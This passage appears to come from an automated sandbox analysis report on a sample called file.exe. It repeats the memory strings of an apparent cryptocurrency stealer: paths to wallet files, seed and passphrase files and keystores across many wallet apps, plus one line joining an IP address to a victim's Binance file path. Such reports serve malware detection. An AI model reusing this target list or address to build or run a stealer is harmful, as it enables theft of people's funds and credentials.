Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\app-store.json*
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 